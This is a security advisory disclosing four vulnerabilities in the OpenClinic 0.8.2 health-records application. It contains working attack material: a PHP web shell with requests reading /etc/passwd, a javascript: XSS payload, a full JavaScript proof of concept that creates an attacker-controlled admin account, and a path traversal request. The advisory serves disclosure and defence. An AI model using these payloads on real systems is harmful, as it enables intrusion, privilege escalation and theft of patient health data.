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High-Risk Security Vulnerability found by Bishop Fox Research Team

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ADVISORY SUMMARY

Four vulnerabilities were discovered in the OpenClinic application, the most severe of which allowed an unauthenticated attacker to read patient PHI from the application. Another vulnerability allowed an authenticated attacker to obtain remote code execution on the application server. A third vulnerability allowed an unauthenticated attacker to bypass XSS protections and embed a payload that, if clicked by an admin user, would escalate privileges on the attacker’s account. The last vulnerability was a low-impact path traversal issue that could allow an authenticated attacker to store files outside of designated directories on the application server.

Impact: High Risk Level

The most severe of the identified vulnerabilities was a missing authentication check on requests issued to the medical tests endpoint. Anyone with the full path to a valid medical test file could access this information, which could lead to loss of PHI for any medical records stored in the application.

Affected Vendor

Product Vendor: OpenClinic

Product Name: OpenClinic

Affected Version: 0.8.2

Product Description

OpenClinic is an open-source health records management software. The project’s GitHub page is https://github.com/jact/openclinic. The latest version of the application is 0.8.2, released on April 12, 2016.

Vulnerabilities List

Four vulnerabilities were identified within the OpenClinic application, including:

  • MISSING AUTHENTICATION
  • INSECURE FILE UPLOAD
  • CROSS-SITE SCRIPTING (XSS)PATH TRAVERSAL

Solution

At the time of this publication there is no version of OpenClinic available that does not suffer from the identified vulnerabilities, and the recommendation is to switch to a different medical records management software.

These vulnerabilities are described in the following sections.

VULNERABILITIES:

MISSING AUTHENTICATION

The OpenClinic application was affected by a missing authentication vulnerability that allowed unauthenticated users to access any patient’s medical test results. This could result in a loss of Protected Health Information (PHI).

CVE ID: CVE-2020-28937

Security Risk: High

Impact: Information disclosure

Access Vector: Remote

Authenticated users of the application could upload medical test documents for patients which were then stored in the /tests/ directory. Requests for files in this directory did not require users to be authenticated to the application. As a result, it was possible for unauthenticated users to obtain PHI from arbitrary patients. The figure below shows an uploaded medical test for patient John Doe:

Uploaded medical test for a patient
Figure 1 - Uploaded medical test for a patient


The request and response below demonstrate that no authentication was required to obtain the document associated with this medical test. Note the lack of the OpenClinic session cookie in the request:

Request

GET /openclinic/tests/Prognosis.txt HTTP/1.1
Host: 13.52.240.191
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 
Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 200 OK
Date: Thu, 20 Aug 2020 19:08:51 GMT
Server: Apache/2.4.43 () PHP/7.2.30
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Thu, 20 Aug 2020 19:07:18 GMT
ETag: "f7-5ad53d43b1a7c"
Accept-Ranges: bytes
Content-Length: 247
Content-Type: text/plain; charset=UTF-8

Patient Name: John Doe
Patient Address: 123 Fake St, Springfield, MA, 01105
Patient Date of Birth: 01/01/1980
Prognosis:

John Doe suffers from X,Y, and Z. These are serious conditions and this information should be kept strictly confidential.

An attacker would need to know or guess the names of files stored under /tests/ to exploit this vulnerability. However, medical test filenames can be predictable, and valid filenames could also be obtained through log files on the server or other networking infrastructure.

INSECURE FILE UPLOAD

The OpenClinic application was affected by an insecure file upload vulnerability. This vulnerability allowed users with the Administrative and Administrator user roles to upload malicious files, such as PHP web shells, which can lead to arbitrary code execution on the application server. Note that the Administrative and Administrator roles are different; an Administrative user can make changes to patient medical records but is not an application admin.

CVE ID

Security Risk

Impact

Access Vector

CVE-2020-28939 High Code execution, Information disclosure Remote


Administrative users with the ability to enter medical tests for patients were able to upload files to the application using the /openclinic/medical/test_new.php endpoint. This endpoint did not restrict the types of files that could be uploaded to the application. As a result, it was possible to upload a file containing a simple PHP web shell:

<?php system($_GET['cmd']);?>

Figure 2 - PHP web shell

Uploaded tests were stored in the web root under/test endpoint, and it was possible to call the malicious PHP file directly and execute operating system commands. The request and response pairs below show the results of running the id Linux OS command:

Request

GET /openclinic/tests/shell.php?cmd=id HTTP/1.1
…omitted for brevity…

Response

HTTP/1.1 200 OK
Date: Sun, 09 Aug 2020 22:29:29 GMT
Server: Apache/2.4.43 () PHP/7.2.30
Upgrade: h2,h2c
Connection: Upgrade, close
X-Powered-By: PHP/7.2.30
Content-Length: 48
Content-Type: text/html; charset=UTF-8

uid=48(apache) gid=48(apache) groups=48(apache)

The request and response pair below show the contents of reading the /etc/passwd file from the filesystem:

GET /openclinic/tests/shell.php?cmd=<mark>cat+/etc/passwd</mark>HTTP/1.1
…omitted for brevity…

Response

HTTP/1.1 200 OK
Date: Sun, 09 Aug 2020 22:30:17 GMT
Server: Apache/2.4.43 () PHP/7.2.30
Upgrade: h2,h2c
Connection: Upgrade, close
X-Powered-By: PHP/7.2.30
Content-Length: 1409
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
…omitted for brevity…

Malicious users of the application could use this vulnerability to obtain access to sensitive information, escalate privileges, install malicious programs on the application server, or use the server as a pivot point to gain access to the internal network.

CROSS-SITE SCRIPTING (XSS)

The OpenClinic application was affected by a stored XSS vulnerability that allowed users of the application to force actions on behalf of other users. The XSS payload can be stored in the application by users with the Administrative or Administrator roles, but not by users with the Doctor role.

CVE ID

Security Risk

Impact

Access Vector

 CVE-2020-28938

Medium Escalation of privileges Remote


While the application code contained measures to prevent XSS, it was found that these measures could be bypassed. HTML tags that could be included with user input were limited to the following whitelist specified in /lib/Check.php on lines 67-70: 

/**
* CHK_ALLOWED_HTML_TAGS - tags which should not be stripped by strip_tags() function
*/
define("CHK_ALLOWED_HTML_TAGS", "<a><b><blockquote>
<code><div><em><i><li><ol><p><pre><strike><strong><sub><sup><tt><u><ul><hr>");

Figure 3 -Whitelist of allowed HTML tags

The application also filtered out JavaScript events if found in user input. The following code is from /lib/Check.php on lines 225-239: 

if ($includeEvents)
{
  $events = array(
    "onmousedown", "onmouseup",
    "onclick", "ondblclick",
    "onmouseover", "onmouseout", "onselect",
    "onkeydown", "onkeypress", "onkeyup",
    "onblur", "onfocus",
    "onreset", "onsubmit",
    "onload", "onunload", "onresize",
    "onabort", "onchange", "onerror"
  );
  $value = self::customStrip($events, $value, true); // case insensitive
  unset($events);
}

Figure 4 - Disallowed JavaScript events

However, these prevention measures failed to account for all possible JavaScript that could be included with user input. One possibility was to store XSS with the following payload:

<a href="javascript:alert('xss')">xss</a>

Figure 5 - Permitted XSS payload using the HTML tag for hyperlinks

This payload did not get filtered out from user input and could be stored in several locations throughout the application, both in the admin section and in medical records. The image below shows execution of the payload after a user clicked on a link shown as part of the clinic information pane (see below):

Execution of XSS payload; Mouse pointer indicates clinic info pane and link
Figure 6 - Execution of XSS payload; Mouse pointer indicates clinic info pane and link

In a real attack scenario, an attacker could use this vulnerability to force actions on behalf of another user, assuming that the victim user clicks on the malicious link.

To demonstrate impact, an XSS payload was embedded into a patient's medical record with the lower-privileged Administrative user role. When clicked by an administrator, this payload created a new admin account under the attacker's control, thereby allowing them to escalate privileges.

Due to the way that new accounts were created in the application, such a payload needed to chain several requests together. Please see the proof of concept (PoC) at the bottom of this advisory.

The payload was inserted in the Address field for a medical record using a lower-privileged Administrative user. A user with the Administrator role was used to click on the “Click me!” link, which executed the payload, as shown below:

Successful creation of new admin user following execution of the XSS payload
Figure 7 - Successful creation of new admin user following execution of the XSS payload

The lower-privileged user was then able to log into the newly created xssuser account and obtain full admin privileges in the application:

Accessing the Admin portion of the application as xssuser
Figure 8 - Accessing the Admin portion of the application as xssuser

As shown above, the admin user was successfully created, allowing the low-privilege attacker to gain administrative privileges.

PATH TRAVERSAL

The OpenClinic application was affected by path traversal vulnerabilities that affected file upload functionality. This issue can allow an authenticated attacker with the Administrator role to write arbitrary files to the application server’s filesystem.

CVE ID

Security Risk

Impact

Access Vector

N/A Low Denial of service Remote

Admin users could upload new themes to the application through the /admin/theme_new.php endpoint. This caused new files to be created under the css folder in the directory where OpenClinic was installed. It was possible to navigate out of the css folder and store the files elsewhere on the filesystem:

Request

POST /openclinic/admin/theme_new.php HTTP/1.1
…omitted for brevity…

theme_name=newtest&css_file=../path_traversal.txt&css_rules=This+is+newly+generate
d+content&token_form=33e547c4500625c6566fabb30daf8246

Figure 9 - POST request containing path traversal payload in css_file parameter

The filesystem command below demonstrates that the file was created outside of the css directory:

Response

$ pwd
/var/www/html/openclinic
$ cat path_traversal.txt
This is newly generated content

Figure 10- Operating system commands demonstrate successful path traversal

The locations to which files could be saved were not restricted by the web server's webroot. Instead, they were restricted based on the permissions of the web server's user account.

Additionally, existing files could not be overwritten, which limited the impact of this instance of path traversal since it could not be used to overwrite configuration files or files in use by the OpenClinic application.

XSS PROOF OF CONCEPT

Provided below is proof of concept (PoC) JavaScript code that was used to exploit the identified XSS vulnerability. This payload, when viewed by an authenticated Administrator, resulted in the creation of a new Administrator user under control of the attacker.

// first request to create a staff member - needed to get CSRF token
const xhr=new XMLHttpRequest();
const acceptHeader = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
xhr.responseType='document';
const url='/openclinic/admin/staff_new_form.php?type=A';
xhr.open('GET',url,true);
// requests to the application need to have the 'Accept' header set to a valid value or they get rejected
xhr.setRequestHeader('Accept',acceptHeader);
xhr.onload=function (e) {
   // && got encoded by the app to &&, so needed to use separate 
if statements
   if (xhr.readyState===XMLHttpRequest.DONE) {
       if (xhr.status===200) {
          page=xhr.response;
          // retrieve CSRF token from response
          token=page.getElementById('token_form');
          console.log('The token is: ' + token.value);
          // request to create a staff member.
          const xhrTwo=new XMLHttpRequest();
          const urlTwo='/openclinic/admin/staff_new.php';
          xhrTwo.open('POST',urlTwo,true);xhrTwo.setRequestHeader('Content-type','application/x-www-form-urlencoded');
          xhrTwo.setRequestHeader('Accept',acceptHeader);
          xhrTwo.onload=function (f) {
               if (xhrTwo.readyState===XMLHttpRequest.DONE) {
                   if (xhrTwo.status===200) {
                       // request to list users. Needed to get parameter values
to create admin user
                       const xhrThree=new XMLHttpRequest();
                       xhrThree.responseType='document';
                       const urlThree='/openclinic/admin/user_list.php';
                       xhrThree.open('GET',urlThree,true);
                       xhrThree.setRequestHeader('Accept',acceptHeader);
                       xhrThree.onload=function (e) {
                           if (xhrThree.readyState===XMLHttpRequest.DONE) {
                               if (xhrThree.status===200) {
                                   page=xhrThree.response;
                                   // get CSRF token for request to create admin
                                   tokenTwo=page.getElementById('token_form');
                                   console.log('The second token is: ' + 
tokenTwo.value);
                                   // find ID value for staff member we created
                                   id=page.getElementById('id_member_login');
                                   // < and > get filtered out by the app, but 
fortunately != also worked for this purpose
                                   for (var i = 0; i != id.options.length; i++) {
                                   console.log('option:
 '+id.options[i].value);
                                   if (id.options[i].value.indexOf('xssuser') 
!= -1) {
                                           userIndex = i;
                                           break;
                                       } 
                                  }
                                  console.log('xssuser found: ' + 
id.options[userIndex].value);
                                  // Creating users is done in two steps. This is 
step one
                                  const xhrFour=new XMLHttpRequest();
                                  xhrFour.responseType='document';
                                  const 
urlFour='/openclinic/admin/user_new_form.php';
                                  xhrFour.open('POST',urlFour,true);
                                  xhrFour.setRequestHeader('Content-
type','application/x-www-form-urlencoded');
                                  
xhrFour.setRequestHeader('Accept',acceptHeader);
                                  xhrFour.onload=function (f) {
                                       if 
(xhrFour.readyState===XMLHttpRequest.DONE) {
                                           if (xhrFour.status===200) {
                                               page=xhrFour.response;
                                               // get CSRF token for next, and 
last request

tokenThree=page.getElementById('token_form');
                                               console.log('The third token is: ' + tokenThree.value);
                                               // get ID for our user again - 
different format from last time

idMember=page.getElementById('id_member');
                                               // Last request - make new user 
admin, make them active, and set password to "xsspassword" (md5 hash). Uses CSRF 
token #3
                                               const xhrFive = new 
XMLHttpRequest();
                                               const 
urlFive='/openclinic/admin/user_new.php';
                                               xhrFive.open('POST',urlFive,true);
                                               xhrFive.setRequestHeader('Content-type','application/x-www-form-urlencoded');

xhrFive.setRequestHeader('Accept',acceptHeader);

xhrFive.send('referer=new&id_member='+idMember.value+'&login=xssuser&pwd=&md5=03e3
9d74eb6c55e6efa46e2a4c9fca1c&pwd2=&md5_confirm=03e39d74eb6c55e6efa46e2a4c9fca1c&em
ail=&actived=1&id_profile=1&id_theme=1&save=Submit&token_form='+tokenThree.value);
                                                console.log('New admin user created. Log in using xssuser:xsspassword');
                                           }
                                       }
                                   };
                                   // first request to create admin user. Uses 
CSRF token #2
                                     xhrFour.send('id_member_login=' +id.options[userIndex].value+ '&new=Create&token_form='+tokenTwo.value); 
                               }
                          }
                       };
                       //request to list users
                       xhrThree.send(null);
                   }
               }
           };
           // request to create staff member. Uses CSRF token #1

xhrTwo.send('member_type=Administrative&nif=&first_name=XSS&surname1=Example&surna
me2=&address=&phone_contact=&login=xssuser&save=Submit&token_form='+token.value);
       }
   }
};
// First request. Starts off the chain and used to get CSRF token #1
xhr.send(null);

CREDITS

Gerben Kleijn, Senior Security Consultant, Bishop Fox (gkleijn@bishopfox.com)

TIMELINE

  • Initial Discovery: 08/20/2020
  • Attempted contact with development team through email: 08/28/2020
  • Attempted contact with development team through email: 09/28/2020
  • Attempted contact with development team through OpenClinic public forum: 11/04/2020
  • Vulnerabilities publicly disclosed: 12/01/2020

Gerben kleijn

About the author, Gerben Kleijn

Managing Security Consultant

Gerben Kleijn (OSCP, CISSP) is a Managing Security Consultant for Bishop Fox, where he primarily focuses on external network penetration tests and web application assessments, as well as cloud deployment reviews for Amazon Web Services (AWS). He has advised Fortune 500 brands and startups in industries such as media, retail, and software in addition to popular websites, credit reporting agencies, and marketing platforms.

More by Gerben

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